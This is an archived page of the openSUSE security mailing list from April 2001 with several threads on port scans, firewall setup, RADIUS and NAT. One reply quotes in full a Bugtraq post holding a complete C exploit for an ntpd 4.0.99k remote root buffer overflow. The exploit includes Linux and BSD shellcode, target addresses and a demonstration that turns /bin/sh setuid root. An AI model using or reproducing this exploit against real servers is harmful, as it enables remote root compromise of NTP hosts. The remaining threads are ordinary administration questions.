April 2001 - openSUSE Security - openSUSE Mailing Lists

port 2301
by Morsal Roudbay 06 Apr '01

06 Apr '01

According to my log files someone has been scanning port 2301 for several weeks now on my server... I couldnt find this port in my port list so I wonder what it is used for. Thanks. /Morsal

4 5

Fw: Scripts to DNS resolve firewall logs?
by Geordon VanTassle 06 Apr '01

06 Apr '01

DOes anyone have/know where I can get a script that I can run my firewall log through in order to DNS resolve it? TIA, Geordon

1 0

xntpd
by Roman Drahtmueller 06 Apr '01

06 Apr '01

Hi together, Most of the packages are already out on the ftp server at the usual location. I wanted to encourage users to upgrade the package asap. We're almost done with the packages, while some few are still building. In particular, the packages for 6.3 and 7.0 are missing. Get the 7.0 packages from my directory on ftp.suse.com/pub/people/draht/7.0 . The announcement will be there later today. Thanks, Roman. -- - - | Roman Drahtmüller <draht(a)suse.de> // "Caution: Cape does | SuSE GmbH - Security Phone: // not enable user to fly." | Nürnberg, Germany +49-911-740530 // (Batman Costume warning label) | - -

1 0

Compartments / MAC
by Stefan Hoffmeister 06 Apr '01

06 Apr '01

Hi, is there any in depth discussion about compartments / mandatory access control out there that discusses risks and benefits? I am currently not running any outside services on my tiny personal LAN for two reasons: a) It makes me nervous. VERY nervous, indeed. b) I am too lazy / don't have the time to track all security issues that could affect the service I am running. That in turn causes a) to kick in :-> On the other hand, I would like to run a H.323 gatekeeper (e.g. the one at http://www.opengatekeeper.org/) at least temporarily, for personal use. I might also be interested in (at least temporarily) exposing Apache with some DSOs to the outside world. All this I will only consider, though, if the risk of doing it is *very* low. Is my understanding of compartments correct in that they will allow me to lock down a given "service" to a minimal set of user / group rights, thus reducing the effect of any (potential) security issues in the "service"? I am under the impression that I would have to use finer grained MAC (ACL patches / LIDS) to restrict the feature set a service may use? Assuming that my compartments and / or MACs are setup correctly that all external services run in a compartment / are under MAC, which kinds of risks would I still be exposed to, and to which extent?

2 1

Re: ntpd =< 4.0.99k remote buffer overflow
by Vadim Kouzmine 06 Apr '01

06 Apr '01

Xmm... It's seems works on SuSE 7.1... Vadim ----- Original Message ----- From: "Przemyslaw Frasunek" <venglin(a)FREEBSD.LUBLIN.PL> To: <BUGTRAQ(a)SECURITYFOCUS.COM> Sent: Wednesday, April 04, 2001 4:27 PM Subject: ntpd =< 4.0.99k remote buffer overflow > /* ntpd remote root exploit / babcia padlina ltd. <venglin(a)freebsd.lublin.pl> */ > > /* > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerable > * to remote buffer overflow attack. It occurs when building response for > * a query with large readvar argument. In almost all cases, ntpd is running > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeserver. > * > * Althought it's a normal buffer overflow, exploiting it is much harder. > * Destination buffer is accidentally damaged, when attack is performed, so > * shellcode can't be larger than approx. 70 bytes. This proof of concept code > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack > * is possible. > * > * NTP is stateless UDP based protocol, so all malicious queries can be > * spoofed. > * > * Example of use on generic RedHat 7.0 box: > * > * [venglin@cipsko venglin]$ cat dupa.c > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost > * ntpdx v1.0 by venglin(a)freebsd.lublin.pl > * > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) > * > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query > * [1] <- evil query (pkt = 512 | shell = 45) > * [2] <- null query (pkt = 12) > * Done. > * /tmp/sh was spawned. > * [venglin@cipsko venglin]$ ls -al /bin/bash > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash > * > */ > > #include <stdio.h> > #include <stdlib.h> > #include <stdarg.h> > #include <string.h> > #include <sys/types.h> > #include <sys/socket.h> > #include <netinet/in.h> > #include <netdb.h> > #include <unistd.h> > #include <arpa/inet.h> > > #define NOP 0x90 > #define ADDRS 8 > #define PKTSIZ 512 > > static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>"; > > /* generic execve() shellcodes */ > > char lin_execve[] = > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; > > char bsd_execve[] = > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > > struct platforms > { > char *os; > char *version; > char *code; > long ret; > int align; > int shalign; > int port; > }; > > /* Platforms. Notice, that on FreeBSD shellcode must be placed in packet > * *after* RET address. This values will vary from platform to platform. > */ > > struct platforms targ[] = > { > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff8bc, 200, 220, 0 }, > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > 0xbfbff540, 200, 220, 0 }, > > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, > 0xbffff777, 240, 160, 0 }, > > { NULL, NULL, NULL, 0x0, 0, 0, 0 } > }; > > long getip(name) > char *name; > { > struct hostent *hp; > long ip; > extern int h_errno; > > if ((ip = inet_addr(name)) < 0) > { > if (!(hp = gethostbyname(name))) > { > fprintf(stderr, "gethostbyname(): %s\n", > strerror(h_errno)); > exit(1); > } > memcpy(&ip, (hp->h_addr), 4); > } > > return ip; > } > > int doquery(host, ret, shellcode, align, shalign) > char *host, *shellcode; > long ret; > int align, shalign; > { > /* tcpdump-based reverse engineering :)) */ > > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, > 0x74, 0x75, 0x6d, 0x3d }; > > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00 }; > > char buf[PKTSIZ], *p; > long *ap; > int i; > > int sockfd; > struct sockaddr_in sa; > > bzero(&sa, sizeof(sa)); > > sa.sin_family = AF_INET; > sa.sin_port = htons(123); > sa.sin_addr.s_addr = getip(host); > > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) > { > perror("socket"); > return -1; > } > > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) > { > perror("connect"); > close(sockfd); > return -1; > } > > memset(buf, NOP, PKTSIZ); > memcpy(buf, q2, sizeof(q2)); > > p = buf + align; > ap = (unsigned long *)p; > > for(i=0;i<ADDRS/4;i++) > *ap++ = ret; > > p = (char *)ap; > > memcpy(buf+shalign, shellcode, strlen(shellcode)); > > if((write(sockfd, buf, PKTSIZ)) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, > strlen(shellcode)); > fflush(stderr); > > if ((write(sockfd, q3, sizeof(q3))) < 0) > { > perror("write"); > close(sockfd); > return -1; > } > > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); > fflush(stderr); > > close(sockfd); > > return 0; > } > > int main(argc, argv) > int argc; > char **argv; > { > extern int optind, opterr; > extern char *optarg; > int ch, type, ofs, i; > long ret; > > opterr = ofs = 0; > type = -1; > > while ((ch = getopt(argc, argv, "t:o:")) != -1) > switch((char)ch) > { > case 't': > type = atoi(optarg); > break; > > case 'o': > ofs = atoi(optarg); > break; > > case '?': > default: > puts(usage); > exit(0); > > } > > argc -= optind; > argv += optind; > > fprintf(stderr, "ntpdx v1.0 by venglin(a)freebsd.lublin.pl\n\n"); > > if (type < 0) > { > fprintf(stderr, "Please select platform:\n"); > for (i=0;targ[i].os;i++) > { > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, > targ[i].os, targ[i].version, (void *)targ[i].ret); > } > > exit(0); > } > > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", > targ[type].os, targ[type].version); > > ret = targ[type].ret; > ret += ofs; > > if (argc != 1) > { > puts(usage); > exit(0); > } > > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", > (void *)ret, targ[type].align, targ[type].shalign); > > if (doquery(*argv, ret, targ[type].code, targ[type].align, > targ[type].shalign) < 0) > { > fprintf(stderr, "Failed.\n"); > exit(1); > } > > fprintf(stderr, "Done.\n"); > > if (!targ[type].port) > { > fprintf(stderr, "/tmp/sh was spawned.\n"); > exit(0); > } > > exit(0); > } > > -- > * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * > * Inet: przemyslaw(a)frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF * >

5 4

Request on Port 515
by Jan Räther 06 Apr '01

06 Apr '01

Hi, in the last few days i got several request on my firewall box like: Apr 4 17:22:58 router kernel: Packet log: input DENY ippp0 PROTO=6 xxx.xxx.xxx.xxx::3737 xxx.xxx.xxx.xxx:515 L=60 S=0x00 I=21162 F=0x4000 T=48 SYN (#37) what the hell is that? in /etc/services i found: printer 515/udp # spooler so is someone trying to "print" something on my printer or what??? Jan [?][!] newtention technologies gmbh // rathausallee 72-76 // 22846 norderstedt mailto: jan(a)newtention.de // http://www.newtention.de phone: 040-5 54 45 89 - 3 // mobil: 0178-4777948 // fax: 040-5 54 45 89 - 9 ----- The day Microsoft makes something that doesn't suck, is probably the day Microsoft starts making vacuum cleaners.

5 6

Re: [suse-security] Bind
by Emmerich Eggler 05 Apr '01

05 Apr '01

"Hipolito A. Gonzalez M." wrote: > > emm(a)eggler.ch wrote: > > > At Mon, 2 Apr 2001 15:19:38 +0200 , "Reckhard, Tobias" > > <Reckhard(a)secunet.de> wrote: > > > >> Check out the contents of /usr/share/doc/packages/bind8. BIND's > >> logging > >> config is way beyond the scope of this list. > >> > > sure. but it's no secret and trivial: named -d 9 starts bind the > > noisy way. > > > Thank you my friend, but, where is stored the log? In > /var/log/messages nothing appear. is your syslog running? do you have any __explicit__ log configuration (other than syslog) in your named.boot? as far as i know, suse's named logs via syslog. if yours isn't, than it might mean: a) you are not using suse's named/syslog combination b) your syslog is not started c) you changed "something" on your host's config regards emmerich

3 3

SuSEfirewall does not start
by Stephan Dankers 05 Apr '01

05 Apr '01

Hello everybody, I'm trying to get the SuSEfirewall (Linux 7.1, Kernel 2.2.18) starting. I am new to Linux and firewalls, so maybe one of the profs, can tell me, what's wrong with my configuration and what the warning message from insmod means, when booting the computer Is it okay, that the firewall starts before the network adapters are set up ? Here is an excerpt of the boot.msg file in /var/log ============== START boot.msg ============== Inspecting /boot/System.map-2.2.18 . . . Loaded 10080 symbols from /boot/System.map-2.2.18. Symbols match kernel version 2.2.18. . . . INIT: Entering runlevel: 3 Boot logging started at Thu Apr 5 18:05:42 2001 Master Resource Control: previous runlevel: N, switching to runlevel: 3 Starting Firewall Initialization: (phase 1 of 3) (run 2 of 3) insmod: Warning: /lib/modules/2.2.18/net/3c90x.o parameter switchdelay has max < min! Warning: interface eth0 is not active. Warning: interface eth1 is not active. No interfaces active! exiting ... SuSEfirewall: clearing rules now ... done failed Initializing random number generator done Setting up network device eth0 done Setting up network device eth1 done Setting up routing (using /etc/route.conf) done Starting Firewall Initialization: (phase 2 of 3) . . . Starting inetd done Starting Firewall Initialization: (phase 3 of 3) Master Resource Control: runlevel 3 has been reached Failed services in runlevel 3: SuSEfirewall_init SuSEfirewall_setup SuSEfirewall_final ============== END boot.msg ============== Thanks Stephan

2 1

WG: [suse-security] Radius and dynamic IP address allocation
by Battisti Markus 05 Apr '01

05 Apr '01

<Hi, <we are using the radius daemon (cistron "radiusd") for authentication of <dial-in clients accessing through a cisco access server. <At the moment we use static IP address assignment. < <Does anybody know whether the radius server permits IP address pool <configuration? <The dial-in clients shall get a dynamic assigned IP address from a pool. ooh its hell i know ..... i use this radius server http://www.freeradius.org/ its well documented and runns with moust routers and its a livingston 2.0 implementation ! (read the doc at livingston!) i made this with a bintec xm2 dialinrouter you must import the dictionary in to radius read the docs from the router dont forget radius is just authentification ! this is a sample config with dymic ip adresses for bintec with the right dictionary i think somwhere in the cisco doc you find it ..... # users file DEFAULT Auth-Type = System, Group = "interne" Framed-Protocol = PPP, Framed-MTU = 1500, Framed-IP-Netmask = 255.255.255.255, Service-Type = Framed, Port-Limit = 2, BinTec-biboPPPTable = "IpPoolId=3", BinTec-biboPPPTable = "IpAddress=dynamic_server", BinTec-biboPPPTable = "DNSNegotiation=dynamic_server", BinTec-ipExtIfTable = "Accounting=on", BinTec-biboPPPTable = "ShortHold=0", BinTec-ipExtIfTable = "ProxyArp=off", BinTec-biboPPPTable = "VJHeaderComp=enabled", Idle-Timeout = 3600, hope it helps.... ,,, /'^'\ ( o o ) oOOO--(_)--OOOo---------------------- Mit Freundlichen Grüssen/Best Regards proTask Consulting /"\ Battisti Markus \ / ASCII Ribbon Campaign Marktplatz 7 X Against HTML Mail A-6850 Dornbirn / \ http://www.protask.at mailto:markus.battisti@protask.cc PGP key available on request This message was sent using 100% recyclable electrons

1 0

newbie question
by webmaster＠oggi.it 05 Apr '01

05 Apr '01

Hello, in my little lan i must configure a linux firewall with 3 eth cards: eth0 ( xxx.xxx.xxx.yyy ) <---> to internet router ( xxx,xxx.xxx.xxx ) eth1 ( 192.168.1.1 ) <---> to my internal lan (192.168.1.0 ) eth2 ( 192.168.2.1 ) <---> to my dmz lan ( 192.168.2.0 ) How can i set the iptables firewall for natting my dmz HTTP xxx.xxx.xxx.hhh ) and SMTP ( xxx.xxx.xxx.sss )??? I've tryed with .. ..................... iptables -t nat -A POSTROUTING -s 192.168.2.hhh -o eth0 -j SNAT --to-source xxx.xxx.xxx.hhh iptables -t nat -A PREROUTING -i eth0 -d xxx.xxx.xxx.hhh -j DNAT --to 192.168.2.hhh ..................... with no results ... I apologize for my bad english and my poor "linux know-how" Thank you in advance, Mario

2 2